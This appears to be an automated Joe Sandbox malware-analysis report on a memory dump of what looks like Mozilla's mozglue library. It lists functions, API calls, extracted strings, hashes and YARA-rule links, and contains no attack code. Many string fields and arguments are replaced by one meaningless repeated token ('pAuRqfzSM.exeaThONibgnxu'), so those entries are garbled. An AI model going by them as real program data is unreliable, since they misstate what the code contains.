String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 618468079-1702269221
Opcode ID: 4d0ddd0e159410b7a1ea9b99742121898ae574441c587f8bb59971dcee0cf504
Instruction ID: 384804a570dc047b68e2edec401be15841aa2ba9a490ed4b2de16773a2595bd9
Opcode Fuzzy Hash: 4d0ddd0e159410b7a1ea9b99742121898ae574441c587f8bb59971dcee0cf504
Instruction Fuzzy Hash: 9FC2F2B1A057418FD714CF28C980716BBE5BF85328F28C66DE5A99BBD5C731E881CB81

Function 6CAFC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAFC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAFC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CAFC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAFCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAFDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFE472

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 844bbd4065789f59072dea87fe8ae3be76f25ceb6622f53df13caa916981e16c
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8A338F71E0021ACFCB14CF98C8806EDBBF2FF49314F194269E965AB755D731A986CB90

Function 6CAFE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CAFE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAFEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAFF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB00E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB00E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB00EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB00ED4

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c7166a27fca700dcad12c85a98789cc6604bbd00944048e037088fea720abfbb
Instruction ID: e591a61130b233c4349410741c60c761ef7ed0e0b1a83ff9cc5b55639cc0f487
Opcode Fuzzy Hash: c7166a27fca700dcad12c85a98789cc6604bbd00944048e037088fea720abfbb
Instruction Fuzzy Hash: F4636E71E0025A8FCB18CFA8C8905DDFBF2FF89314F298269D855AB755D730A946CB90

Function 6CAD3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CAF7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3E7D,?,?,?,6CAD3E7D,?,?), ref: 6CAF777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CAD3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAD3F5C
VerSetConditionMask.NTDLL ref: 6CAD3F8D
VerSetConditionMask.NTDLL ref: 6CAD3F99
VerSetConditionMask.NTDLL ref: 6CAD3FA0
VerSetConditionMask.NTDLL ref: 6CAD3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAD3FB4

Strings

pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAD4416
nvd3d9wrap.dll, xrefs: 6CAD4466
nvinit.dll, xrefs: 6CAD4479

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 1189858803-2841174222
Opcode ID: df257021ac6d169a3403cf18b8da1e7a7b6be96818916a63d5def0ed8ba88fed
Instruction ID: 393183eb154bdbdfb0968d4963e6b8e4a2e4ed83e3c2b9e7c6dfb10284b270b5
Opcode Fuzzy Hash: df257021ac6d169a3403cf18b8da1e7a7b6be96818916a63d5def0ed8ba88fed
Instruction Fuzzy Hash: 5852D271610B488FD715DF74C980AAB77E9AF45308F050A2DE4968BB82DB34F94ECB60

Function 6CAAFEF0 Relevance: 28.3, APIs: 13, Strings: 5, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAAFF81
LeaveCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAB022D
VirtualAlloc.KERNEL32(?,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,00001000,00000004), ref: 6CAB0240
EnterCriticalSection.KERNEL32(6CB1E768), ref: 6CAB025B
LeaveCriticalSection.KERNEL32(6CB1E768), ref: 6CAB027B

Strings

pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAB0303, 6CAB08D6
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAAFF9E, 6CAB023A, 6CAB0285, 6CAB02FC, 6CAB0312, 6CAB032E, 6CAB0335, 6CAB05CB, 6CAB08DD, 6CAB08F8, 6CAB0915, 6CAB091C, 6CAB0CC9, 6CAB0D4C
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAAFE99, 6CAAFEB7, 6CAAFED3, 6CAB0DB8, 6CAB0DD3, 6CAB19B4, 6CAB1A10
MOZ_CRASH(), xrefs: 6CAB0CA7
upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CAB02F7, 6CAB0561, 6CAB05A2, 6CAB07AC

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 618468079-140304559
Opcode ID: 16cc6270d0dfe58ac26a721086d4429621509ab40795b7d9c2ff067827dd3527
Instruction ID: c0aeab287014388b2dcd428fdf27402f72e14ab73cbd5af615a7a038e487eb71
Opcode Fuzzy Hash: 16cc6270d0dfe58ac26a721086d4429621509ab40795b7d9c2ff067827dd3527
Instruction Fuzzy Hash: B1B2CF717057418FD718CF28C590726BBE5BF89328F28C66CE96A9BB95D770E880CB41

Function 6CABED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CABEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CABEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAC1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAC1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAC1A3E

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: ca878fe3e1241f952ecc4ce22b3f02637a4f40dba982eacbf366325aa34b740b
Instruction ID: e41276225a485d890f65427914992667170056d89eac37847b96ef18bebf9501
Opcode Fuzzy Hash: ca878fe3e1241f952ecc4ce22b3f02637a4f40dba982eacbf366325aa34b740b
Instruction Fuzzy Hash: 79B33975E00219CFCB14CFA9C890AEDB7B2BF49304F1982A9D549BB745D730A986CF91

Function 6CAB5E90 Relevance: 22.2, APIs: 5, Strings: 8, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2
memset.VCRUNTIME140(6CAF7765,000000E5,B1C09015), ref: 6CAB61F0
VirtualFree.KERNEL32(-00000001,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,00004000), ref: 6CAB7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAB72F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAB730D
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAB61FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAB7BCD, 6CAB7C1F, 6CAB7C34, 6CAB80FD
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAB7532
MOZ_CRASH(), xrefs: 6CAB7BA4
upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CAB5EAC, 6CAB7636
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAB72E3

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 2613674957-4287958168
Opcode ID: ab0d5222e7e2081fa9f1fcc72679badc11a241a992b472c00dcba3be46d343f7
Instruction ID: c6850efa370a75531965b0515c2ad9d1255a247ba3eecb1d9022e3c70750f8cd
Opcode Fuzzy Hash: ab0d5222e7e2081fa9f1fcc72679badc11a241a992b472c00dcba3be46d343f7
Instruction Fuzzy Hash: 55338B716067018FC308CF28C590615BBE6BF86328F2DC6ADE869DB7A5D771E881CB51

Function 6CAE5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6CAE5AC3
schema, xrefs: 6CAE606D
name, xrefs: 6CAE5E79, 6CAE5E8F
ProfileBuffer parse error: %s, xrefs: 6CAE5AC8, 6CAE5CBB
expected a Time entry, xrefs: 6CAE5CB6
data, xrefs: 6CAE6131

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: ad9c6416647f5a6edc09e3aa04c852050a71e1c769e5f9b51af9adbed35e039e
Instruction ID: ca89a82bb6a75289813be556ed4fa1c3f9ae0298d6d82ef074a048adfef54e0e
Opcode Fuzzy Hash: ad9c6416647f5a6edc09e3aa04c852050a71e1c769e5f9b51af9adbed35e039e
Instruction Fuzzy Hash: 42924C71A083418FD724CF28D59079BBBE1BFC9308F14891DE59A9B751DB30E889DB92

Function 6CAE2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAE2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CAE2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAE3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE36BF

Strings

get , xrefs: 6CAE3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CAE378D
set , xrefs: 6CAE36EC

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 18ae4738229a891d960220071ff472182d6aaf93a043009ffe85516fad9baa0b
Instruction ID: 980f221b1acee3e02e8ba896ab6398d00a86b0e4b6fee80a05e4a8ad2c06f7af
Opcode Fuzzy Hash: 18ae4738229a891d960220071ff472182d6aaf93a043009ffe85516fad9baa0b
Instruction Fuzzy Hash: 9C326E746093818FD324CF24C0906AFBBE2AFC9318F54891DE5D987761DB31D98ADB92

Function 6CABD4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD4F2
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD50B

Part of subcall function 6CA9CFE0: EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA9CFF6
Part of subcall function 6CA9CFE0: LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA9D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD52E
EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABD6A6
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD712
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABD7EA

Strings

<jemalloc>, xrefs: 6CABD827
: (malloc) Error initializing arena, xrefs: 6CABD82C
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CABD793

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 2690322072-2137638624
Opcode ID: 16658d5805ed3dcba541c5494f4b86721a97d636f249b4f13acbc2a29893c7d5
Instruction ID: e04c1b893891a9c58059f1d02509d6f066f22de46734497d16b9ad1c236f032e
Opcode Fuzzy Hash: 16658d5805ed3dcba541c5494f4b86721a97d636f249b4f13acbc2a29893c7d5
Instruction Fuzzy Hash: 7991F671E047418FD714CF28C1A576AB7E5EB89318F18492EE45AD7F89D730E884CB82

Function 6CAD7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6CAD81E3, 6CAD8311
name, xrefs: 6CAD7ECF, 6CAD8335
data, xrefs: 6CAD8280, 6CAD83E1
(pre-xul), xrefs: 6CAD7E88

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 963ae4e8e62f188d0cc83ccfe0abeb2c9cad188cd83ac6189d547565562d8db5
Instruction ID: 509b1e5dd3ee206001c75252957be9a703670afb3450a6c310bb7566ddeb0ab2
Opcode Fuzzy Hash: 963ae4e8e62f188d0cc83ccfe0abeb2c9cad188cd83ac6189d547565562d8db5
Instruction Fuzzy Hash: DFE17EB1B043848BC710CF68C84166BFBEABB95314F158A2DE895D7790DBB0ED498B91

Function 6CA93480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

